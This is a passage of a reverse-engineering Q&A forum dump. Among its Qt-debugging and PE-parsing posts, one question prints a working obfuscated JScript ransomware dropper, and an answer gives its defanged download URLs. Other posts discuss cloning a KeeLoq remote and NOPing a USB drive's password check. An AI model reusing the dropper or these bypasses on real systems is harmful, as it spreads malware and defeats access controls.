  <row Id="11988" PostTypeId="1" CreationDate="2016-02-10T16:35:36.533" Score="5" ViewCount="3257" Body="&lt;p&gt;I have a question about Keeloq security. I have an original car remote controller (BFT Mitto 2) and I know this chip uses HCS301 with Keeloq implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to clone this remote for my girlfriend because it's very expensive to buy a new one. I know universal remotes can copy this remote like this stuff (&lt;a href=&quot;http://www.amazon.fr/T%C3%A9l%C3%A9commande-Copieuse-T%C3%89L%C3%89COMMANDES-t%C3%A9l%C3%A9commandes-descriptif/dp/B00GTV5SUQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.amazon.fr/T%C3%A9l%C3%A9commande-Copieuse-T%C3%89L%C3%89COMMANDES-t%C3%A9l%C3%A9commandes-descriptif/dp/B00GTV5SUQ&lt;/a&gt;) but I'm curious and I think it's a good electronic project for fun. So, I studied the datasheet of this component. I have already spoofed two consecutive commands and I saved the seed code (retrieved by pushing all the buttons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data 1:&#xA;Crypt part: &lt;code&gt;0xFD32DEBA&lt;/code&gt; Serial number: &lt;code&gt;0x719A00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data 2:&#xA;Crypt part: &lt;code&gt;0xB1755164&lt;/code&gt; Serial number: &lt;code&gt;0x719A00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEED CODE: &lt;code&gt;0xFAA7B14&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I learn a new remote with this information? I don't know how universal remote works but according to the datasheet I need to know the manufacturer Id to create a device Key. Can you advise me how I can proceed please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerDisplayName="konova" LastEditorUserId="2147" LastEditDate="2017-01-13T19:37:36.123" LastActivityDate="2021-08-10T15:14:59.357" Title="Question about Keeloq - A car remote control standard" Tags="|hardware|encryption|decryption|embedded|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11989" PostTypeId="1" CreationDate="2016-02-10T19:07:15.153" Score="0" ViewCount="2089" Body="&lt;p&gt;I have a Verbatim flash drive that I do not know my password for. Most of my searching for a solution has led to me to answers like &quot;take the loss and reformat the drive&quot; (losing all encrypted data). The V-SAFE100.exe on the drive allows you to access your hidden-encrypted partition. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I thought someone here might find it to be an interesting experiment to try and bypass the V-SAFE100 encryption program (direct link &lt;a href=&quot;http://www.verbatim.com/includes/binary_details.php3?show=1&amp;amp;id=2960&quot; rel=&quot;nofollow&quot;&gt;http://www.verbatim.com/includes/binary_details.php3?show=1&amp;amp;id=2960&lt;/a&gt; ), and at the same time, give me a solution that doesn't forfeit my data. The idea would be to NOP the password comparison. According to this article on pg. 62, (&lt;a href=&quot;http://content.yudu.com/Library/A1rc91/Hakin9201001/resources/62.htm&quot; rel=&quot;nofollow&quot;&gt;http://content.yudu.com/Library/A1rc91/Hakin9201001/resources/62.htm&lt;/a&gt; ) it should be possible. &#xA;I'm just too new to IDA and OllyDBG to do it myself. Any takers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I realize that I might not be able to copy and paste a fixed version of the program, but I should be able to replicate the process for my drive's program.&lt;br&gt;&#xA;THANKS!&lt;/p&gt;&#xA;" OwnerUserId="15023" LastActivityDate="2016-02-14T15:30:27.167" Title="Possible to Bypass V-Safe100 USB encryption?" Tags="|encryption|usb|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11990" PostTypeId="1" CreationDate="2016-02-10T19:55:18.697" Score="3" ViewCount="2296" Body="&lt;p&gt;I want to reverse-engineer a Qt crackme written for linux. I would like to follow where introduced text gets. I have found &lt;a href=&quot;http://silmor.de/qtstuff.printqstring.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; &lt;code&gt;gdb&lt;/code&gt; macro to print QStrings (Qt5). To test it I wrote a simple helloworld application containing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;QString str(&quot;almafa&quot;);&#xA;qDebug() &amp;lt;&amp;lt; str;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This prints the QString as expected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) printqs5static str&#xA;(Qt5 QString)0xffffdf50 length=6: &quot;almafa&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this I tried to inspect QStrings where no variable names are present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compiled code looks like (in &lt;code&gt;radare2&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x00400ab7      488d45b0       leaq -0x50(%rbp), %rax&#xA;|           0x00400abb      488d55c0       leaq -0x40(%rbp), %rdx&#xA;|           0x00400abf      4889d6         movq %rdx, %rsi&#xA;|           0x00400ac2      4889c7         movq %rax, %rdi&#xA;|           0x00400ac5      e816feffff     callq sym.QMessageLogger::debug&#xA;|           0x00400aca      488d55a0       leaq -0x60(%rbp), %rdx&#xA;|           0x00400ace      488d45b0       leaq -0x50(%rbp), %rax&#xA;|           0x00400ad2      4889d6         movq %rdx, %rsi&#xA;|           0x00400ad5      4889c7         movq %rax, %rdi&#xA;|           0x00400ad8      e863020000     callq sym.QDebug::operator__&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not have experience debugging Qt applications, but I expected that from the above code snippet that at &lt;code&gt;0x400ad8&lt;/code&gt; either &lt;code&gt;rsi&lt;/code&gt; or &lt;code&gt;rdi&lt;/code&gt; will be the QString. Unfortunately &lt;code&gt;printqs5static $rsi&lt;/code&gt; is not working. &lt;code&gt;i r $rsi&lt;/code&gt; gives &lt;code&gt;0x7ffffffdf50&lt;/code&gt;, the address from &lt;code&gt;printqs5static str&lt;/code&gt; result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how to inspect QStrings when only memory addresses are available?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The web page I am referring is down at this moment, but a cashed version is &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache:http://silmor.de/qtstuff.printqstring.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/10492290/gdb-pretty-printers-for-qt5&quot;&gt;&lt;code&gt;gdb&lt;/code&gt;pretty printers &lt;/a&gt; are also able to print QStrings if there are symbolic names available. Still do not know how to work without them.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-02-19T00:31:04.927" Title="Reversing Qt application" Tags="|gdb|qt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11992" PostTypeId="2" ParentId="11804" CreationDate="2016-02-11T00:08:45.773" Score="0" Body="&lt;p&gt;I am wondering if you had made more progress on your checksum decoding.  I have a very similar problem and i think your method may also works for my case.  These are my data that I want to figure out the checksum method, which was long lost in earlier development:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00 8a 51 0b a0 b8 a1&#xA;00 8a 51 0b a1 b8 a3&#xA;00 8a 51 0b a2 b8 23&#xA;00 8a 51 0b a3 b8 25&#xA;00 8a 51 0b a4 b8 a3&#xA;00 8a 51 0b a5 b8 a5&#xA;00 8a 51 0b a6 b8 25&#xA;00 8a 51 0b a7 b8 27&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greatly appreciate if you can discuss more on your progress which may contribute to solving this one.  Also, I found out I can swap nibble and it has the same checksum as well.  thank you in advanced.&lt;/p&gt;&#xA;" OwnerUserId="14656" LastActivityDate="2016-02-11T00:08:45.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11994" PostTypeId="1" AcceptedAnswerId="11996" CreationDate="2016-02-11T07:41:55.763" Score="0" ViewCount="1277" Body="&lt;p&gt;I have a friend with PC which is infected with some sort of &quot;RANSOMWARE&quot; - a type of malware where will encrypt your files(images,videos and documents) and ask for payment for decryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to &quot;*.micro&quot; files) but recovering the infected data is a bit difficult and not much resources available online yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .js script file that triggers the malware:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _base64Idx = [&#xA;/*43 -43 = 0*/&#xA;/*'+',  1,  2,  3,'/' */&#xA;62, -1, -1, -1, 63,&#xA;&#xA;/*'0','1','2','3','4','5','6','7','8','9' */&#xA;52, 53, 54, 55, 56, 57, 58, 59, 60, 61,&#xA;&#xA;/*15, 16, 17,'=', 19, 20, 21 */&#xA;-1, -1, -1, 64, -1, -1, -1,&#xA;&#xA;/*65 - 43 = 22*/&#xA;/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */&#xA;0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12,&#xA;&#xA;/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */&#xA;13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,&#xA;&#xA;/*91 - 43 = 48 */&#xA;/*48, 49, 50, 51, 52, 53 */&#xA;-1, -1, -1, -1, -1, -1,&#xA;&#xA;/*97 - 43 = 54*/&#xA;/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */&#xA;26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,&#xA;&#xA;/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */&#xA;39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51&#xA;];&#xA;&#xA;function decode(input, output, offset) {&#xA;var out = output;&#xA;if(!out) {&#xA;    out = new Uint8Array(Math.ceil(input.length / 4) * 3);&#xA;}&#xA;&#xA;// remove all non-base64 characters&#xA;input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');&#xA;&#xA;offset = offset || 0;&#xA;var enc1, enc2, enc3, enc4;&#xA;var i = 0, j = offset;&#xA;&#xA;while(i &amp;lt; input.length) {&#xA;    enc1 = _base64Idx[input.charCodeAt(i++) - 43];&#xA;    enc2 = _base64Idx[input.charCodeAt(i++) - 43];&#xA;    enc3 = _base64Idx[input.charCodeAt(i++) - 43];&#xA;    enc4 = _base64Idx[input.charCodeAt(i++) - 43];&#xA;&#xA;    out[j++] = (enc1 &amp;lt;&amp;lt; 2) | (enc2 &amp;gt;&amp;gt; 4);&#xA;    if(enc3 !== 64) {&#xA;        // decoded at least 2 bytes&#xA;        out[j++] = ((enc2 &amp;amp; 15) &amp;lt;&amp;lt; 4) | (enc3 &amp;gt;&amp;gt; 2);&#xA;        if(enc4 !== 64) {&#xA;            // decoded 3 bytes&#xA;            out[j++] = ((enc3 &amp;amp; 3) &amp;lt;&amp;lt; 6) | enc4;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;// make sure result is the exact decoded length&#xA;return output ?&#xA;    (j - offset) :&#xA;    out.subarray(0, j);&#xA;}&#xA;&#xA;var tEuosqyTkm = function (packedText) {&#xA;&#xA;var buffer = [];&#xA;var length = decode(packedText, buffer);&#xA;var charCodeAt = &quot;charCodeAt&quot;;&#xA;var result = &quot;&quot;;&#xA;for (var i = 0; i &amp;lt; length; i++) {&#xA;    result += String.fromCharCode(buffer[i] ^ &quot;bVE6YUkX3beIQAEG&quot;[charCodeAt](i % &quot;bVE6YUkX3beIQAEG&quot;.length));&#xA;}&#xA;return result;&#xA;};&#xA;var aideN66 = function() {&#xA;var vapidAuw = function() {};&#xA;vapidAuw.prototype.create = function(disapprobationQvY) {&#xA;    return WScript.CreateObject(disapprobationQvY);&#xA;};&#xA;return vapidAuw;&#xA;}();&#xA;&#xA;(function() {&#xA;var nettlepkm = new aideN66();&#xA;var banterKA3 = 200;&#xA;var inspireRpB = tEuosqyTkm('&quot;JRMR&quot;');&#xA;var pallidK2I = tEuosqyTkm('&quot;Jy4gVQ==&quot;');&#xA;var sultryiRC = tEuosqyTkm('&quot;NQUmRDAlH3ZgCgAlPQ==&quot;');&#xA;var constrainedfQW = tEuosqyTkm('&quot;LwUdexVnRQB+Li0dBRE=&quot;');&#xA;var interpolatevY1 = tEuosqyTkm('&quot;BDx8AAg0ABdDMA==&quot;');&#xA;var denouementpK3 = tEuosqyTkm('&quot;KgcBcCwRER56Jw==&quot;');&#xA;var gratisE9J = tEuosqyTkm('&quot;CG4EQWAYCg90Lg==&quot;');&#xA;var rangeuR2 = tEuosqyTkm('&quot;Jz0LeGwnBWwFIw==&quot;');&#xA;var broochIQm = tEuosqyTkm('&quot;MzoheDZsKhddBQ==&quot;');&#xA;var smatteringBY6 = tEuosqyTkm('&quot;NhQQXwwiOABAVA==&quot;');&#xA;var interminablecBc = tEuosqyTkm('&quot;MzwOBioiPyJwLQ==&quot;');&#xA;var sonorousmpK = tEuosqyTkm('&quot;IxIKchs=&quot;');&#xA;var evidentzgN = tEuosqyTkm('&quot;MSI3Uzg4&quot;');&#xA;var convalesceWKQ = tEuosqyTkm('&quot;RwIAewlwNw==&quot;');&#xA;var justifyaTv = tEuosqyTkm('&quot;TDM9Uw==&quot;');&#xA;var cedeWsU = Math.pow(2, 10) * 249;&#xA;var foilgEV = [ tEuosqyTkm('&quot;CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H&quot;'), tEuosqyTkm('&quot;CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H&quot;') ];&#xA;var suavityzSi = 2097152;&#xA;var flagHQx = nettlepkm.create(sultryiRC);&#xA;var endemicfVU = nettlepkm.create(constrainedfQW);&#xA;var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('&quot;TA==&quot;') + evidentzgN);&#xA;var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);&#xA;var weltPvA = humbleM87 + suavityzSi + justifyaTv;&#xA;var roseatef1b = false;&#xA;for (var masticatehJi = 0; masticatehJi &amp;lt; foilgEV.length; masticatehJi++) {&#xA;    try {&#xA;        var invocationIOk = foilgEV[masticatehJi];&#xA;        endemicfVU.open(inspireRpB, invocationIOk, false);&#xA;        endemicfVU.send();&#xA;        if (endemicfVU.status == banterKA3) {&#xA;            try {&#xA;                evidentv5F.open();&#xA;                evidentv5F.type = 1;&#xA;                evidentv5F.write(endemicfVU[tEuosqyTkm('&quot;EDM2RjY7GD1xDQEw&quot;')]);&#xA;                if (evidentv5F.size &amp;gt; cedeWsU) {&#xA;                    masticatehJi = foilgEV.length;&#xA;                    evidentv5F.position = 0;&#xA;                    evidentv5F.saveToFile(weltPvA, 2);&#xA;                    roseatef1b = true;&#xA;                }&#xA;            } finally {&#xA;                evidentv5F.close();&#xA;            }&#xA;        }&#xA;    } catch (ignored) {}&#xA;}&#xA;if (roseatef1b) {&#xA;    flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));&#xA;}&#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. FYI, this &quot;ransomware&quot; script circulating through emails as attachment since 9th of Feb 2016.&lt;/p&gt;&#xA;" OwnerUserId="15029" LastEditorUserId="15029" LastEditDate="2016-02-12T00:27:13.777" LastActivityDate="2016-02-16T09:34:53.440" Title="RANSOMWARE SCRIPT decryption" Tags="|malware|ransomware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11995" PostTypeId="1" CreationDate="2016-02-11T08:53:07.900" Score="0" ViewCount="1606" Body="&lt;p&gt;This question somehow relates to my previous &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11990/reversing-qt-application&quot;&gt;question&lt;/a&gt;, but now I have a binary which is not stripped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have the following code snippet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;QString my_variable(&quot;almafa&quot;);&#xA;qDebug() &amp;lt;&amp;lt; my_variable;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before calling the &lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; operator I expect that either &lt;code&gt;rsi&lt;/code&gt; or &lt;code&gt;rdi&lt;/code&gt; to contain the address of &lt;code&gt;my_variable&lt;/code&gt;. Correct me if I am wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x0000000000400aca &amp;lt;+100&amp;gt;:    lea    -0x60(%rbp),%rdx&#xA;   0x0000000000400ace &amp;lt;+104&amp;gt;:    lea    -0x50(%rbp),%rax&#xA;   0x0000000000400ad2 &amp;lt;+108&amp;gt;:    mov    %rdx,%rsi&#xA;   0x0000000000400ad5 &amp;lt;+111&amp;gt;:    mov    %rax,%rdi&#xA;   0x0000000000400ad8 &amp;lt;+114&amp;gt;:    callq  0x400d40 &amp;lt;QDebug::operator&amp;lt;&amp;lt;(QString const&amp;amp;)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;strings a.out | grep my_variable&lt;/code&gt; returns &lt;code&gt;my_variable&lt;/code&gt;, so it is present in the executable. Is it somehow possible to ask &lt;code&gt;gdb&lt;/code&gt; (or any other linux debugger) what is the variable name which belongs to a given address?&#xA;&lt;code&gt;my_variable&lt;/code&gt; is recognized by &lt;code&gt;gdb&lt;/code&gt; since command &lt;code&gt;print my_variable&lt;/code&gt; is working.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-06-15T17:10:03.567" Title="Recovering variable name in debugger" Tags="|gdb|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11996" PostTypeId="2" ParentId="11994" CreationDate="2016-02-11T10:49:58.080" Score="3" Body="&lt;p&gt;This is just a simple downloader script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will download and run an executable from &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hxxp://helloyoungmanff.com/26.exe (link does not works)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hxxp://helloyoungmanqq.com/26.exe (link works)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/en/file/d567d414aa263c2e55e9869f1a7a361e4d1b684ecf4b189015c605525645d0f4/analysis/1455187915/&quot; rel=&quot;nofollow&quot;&gt;VT URL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="3744" LastEditDate="2016-02-16T09:34:53.440" LastActivityDate="2016-02-16T09:34:53.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11997" PostTypeId="2" ParentId="11981" CreationDate="2016-02-11T10:58:18.423" Score="2" Body="&lt;p&gt;most (if not all) anti-VM, anti-debug tricks are well known and easy to bypass using already existing debuggger plugins e.g. ScyllaHide. Some AV company's have dedicated tools for this (emulator, sandbox, virtual machine with auto-dump and rebuild feature). If you do it manualy avg time depends on the sample obfuscation your experience and tools you have to do the job.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2016-02-11T10:58:18.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11998" PostTypeId="2" ParentId="11981" CreationDate="2016-02-11T11:46:02.970" Score="3" Body="&lt;p&gt;Based on a couple of years of performing and teaching (&lt;a href=&quot;http://net.cs.uni-bonn.de/wg/cs/teaching-areas/labs-and-project-groups/malware-boot-camp/&quot; rel=&quot;nofollow&quot;&gt;Malware Bootcamp at University of Bonn, Germany&lt;/a&gt;) reverse engineering with focus on malware analysis, I mostly try to skip any &quot;easy&quot; stepping stones (malware capability of detecting analysis environments, be it VM, debugger, ...) to get to an unpacked state of the malware and then focus analysis on this in IDA alongside debugging it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preparation of your own tools, e.g. setting up a reasonably proportioned (cores, HDD space, RAM) and concealed (removal of VM fragments) VM as explained by CrazyFrog can automagically carry a lot of load in this domain. I think I rarely spend more than minutes (i.e. native runtime of packer) to get to that unpacked state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For understanding those protections and detections, otherwise +1 for &lt;a href=&quot;http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf&quot; rel=&quot;nofollow&quot;&gt;Peter Ferrie's reference&lt;/a&gt;. &#xA;If you want to step through those in a debugger, you can use my &lt;a href=&quot;https://bitbucket.org/fkie_cd_dare/simplifire.antire&quot; rel=&quot;nofollow&quot;&gt;defanged open source implementation&lt;/a&gt; of those.&#xA;Newer detection approaches not covered by the above source frequently involve utilizing Windows Management Instrumentation (WMI). Often to achieve the same derivation of characteristics that can lead to the conclusion you are in an analysis environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is protection in the sample itself, it's most often crypted strings or obfuscated API calls (Andromeda, Dridex, VM-Zeus come to mind), rarely execution-only decryption of code as seen in &lt;a href=&quot;http://byte-atlas.blogspot.de/2015/08/knowledge-fragment-unwrapping-fobber.html&quot; rel=&quot;nofollow&quot;&gt;Fobber&lt;/a&gt;. &#xA;In this case, it obviously becomes part of the analysis itself, or at least a pre-stage.&lt;/p&gt;&#xA;" OwnerUserId="1403" LastActivityDate="2016-02-11T11:46:02.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11999" PostTypeId="1" CreationDate="2016-02-11T12:16:30.887" Score="2" ViewCount="2843" Body="&lt;p&gt;I'm writing a tool, which analyses PE-Malformations and I'would like to build a function to detect a destroyed import section in a PE-File. It would be great if it would be possible to somehow figure it out from the optional header of a PE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I open a PE with IDA Pro then I'm notified about that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JJhey.png&quot; width=&quot;410&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm interesting about how it works under the hood. Is IDA Pro saying that Imports are destroyed just because there are a few imports?&#xA;Or does it try to find some functions and isn't able to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry if it's a simple question, but I could not find a detailed information about that. There are a lot of information how to rebuilt/repair Import Address Table from a dumped file, but not how to actually detect it by yourself.&#xA;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-------little supplement-------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to show one example with a corrupted import sections by viewing a PE in a &lt;a href=&quot;http://wjradburn.com/software/PEview.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEView Tool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you see a PE which claims that it has the import table at the RVA 0xA21C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cscoq.png&quot; width=&quot;500&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT this file ends at the RVA 0x5BF0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 0xA21C &gt; 0x5BF0 we can conclude that the imports in this PE are damaged, because 0xA21C is a not valid pointer, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yK6eo.png&quot; width=&quot;600&quot;/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there &lt;strong&gt;another ways&lt;/strong&gt; to recognise the corrupted import section?&lt;/p&gt;&#xA;" OwnerUserId="12670" LastEditorUserId="12670" LastEditDate="2016-02-11T14:48:25.533" LastActivityDate="2016-02-11T14:48:25.533" Title="Statically detect destroyed Import Segment (IAT)" Tags="|ida|pe|iat|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12000" PostTypeId="2" ParentId="11999" CreationDate="2016-02-11T13:33:04.897" Score="3" Body="&lt;p&gt;You need to get familiar with &lt;a href=&quot;http://win32assembly.programminghorizon.com/pe-tut6.html&quot; rel=&quot;nofollow&quot;&gt;PE Import Table&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell (I will not mention about import by ordinal)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMAGE_IMPORT_DESCRIPTOR.FirstThunk points to IMAGE_IMPORT_BY_NAME table. &#xA;&#xA;IMAGE_IMPORT_DESCRIPTOR.FirstThunk --------------------------&#xA;                                                            |&#xA;                                                            |&#xA;IMAGE_IMPORT_BY_NAME &amp;lt;---------------------------------------&#xA;IMAGE_IMPORT_BY_NAME&#xA;IMAGE_IMPORT_BY_NAME&#xA;IMAGE_IMPORT_BY_NAME&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you parse the table and it's pointers (RVA) are not resolved to a valid &lt;code&gt;IMAGE_IMPORT_BY_NAME&lt;/code&gt; structure you can assume import table is corrupted.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastEditorUserId="12325" LastEditDate="2016-02-11T14:04:55.673" LastActivityDate="2016-02-11T14:04:55.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12001" PostTypeId="2" ParentId="11999" CreationDate="2016-02-11T14:37:35.520" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But I'm interesting about how it works under the hood.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IDA shows that message if the PE section that contains the Import Table doesn't contain relocations and the name of Import Table's section isn't one of the following: &lt;code&gt;.idata&lt;/code&gt;, &lt;code&gt;.rdata&lt;/code&gt;, &lt;code&gt;.text&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-02-11T14:37:35.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12002" PostTypeId="1" AcceptedAnswerId="12007" CreationDate="2016-02-11T16:14:37.220" Score="0" ViewCount="338" Body="&lt;p&gt;I've been trying to detour a nullsub, this function is used with log purposes, but as the program is compiled under release flags it got removed and I'd like to restore it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA reports as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004BAC10 ; void __thiscall nullsub_2(void *)&#xA;.text:004BAC10 nullsub_2       proc near       &#xA;.text:004BAC10                 retn&#xA;.text:004BAC10 nullsub_2       endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My attempt is to detour this address with my own log function, but Microsoft Detours 3.0 throws &lt;strong&gt;ERROR_INVALID_BLOCK&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I get this error as it does not have space to place the jump function, and I don't have any idea how I can fix it.&lt;/p&gt;&#xA;" OwnerUserId="15035" LastActivityDate="2016-02-11T18:01:07.600" Title="Detour null function" Tags="|ida|c++|function-hooking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12005" PostTypeId="2" ParentId="11980" CreationDate="2016-02-11T17:17:46.993" Score="1" Body="&lt;p&gt;While your questions are pretty broad, I'll try my best to answer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are the identifiers (procedure names, variable names, object names, etc.) somehow preserved in compiled machine code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I know this depends on many factors, including the original code language (e.g. C and .NET), compiler settings (include debug information or not), target platform. I would suggest looking into debug symbols, and PDB files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, applications written in .NET framework will contain a lot of meta information all over the place (in the binary, and PDB files, generated XML docs..) by default, and most of the time it is possible to restore the original source code from the binary if it's not obfuscated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you will have a really hard time doing the same with an application written in C, compiled without debug info, as the meta information is simply not there. For the most part it's only machine code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If not, would reverse engineered code have identifiers which look something like var001, var002, proc001, proc002, etc? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See the answer above, but generally the compiled binary does not include variable and function names. String values however will be included in the binary, which can be read (if not hidden in some way explicitly by the author). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As a side note, I remember reading in an article that some security experts reverse engineered a trojan and found out that it had been written by someone whose language was Mandarin Chinese. Now I am wondering, could it be that the programmer used variable/procedure/object names in Mandarin Chinese and these were preserved in the machine code? Or how else could the researchers tell?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Without knowing the context of this story, I can only guess that the trojan author left strings in there in Chinese Mandarin. But people who usually write trojans do not want such information included, so it might be left there to mislead the researchers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;are comments totally ignored during the compiling process? Or, again, could some comment text end up in the machine code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, comments are simply ignored by the compiler, and not included in the compiled 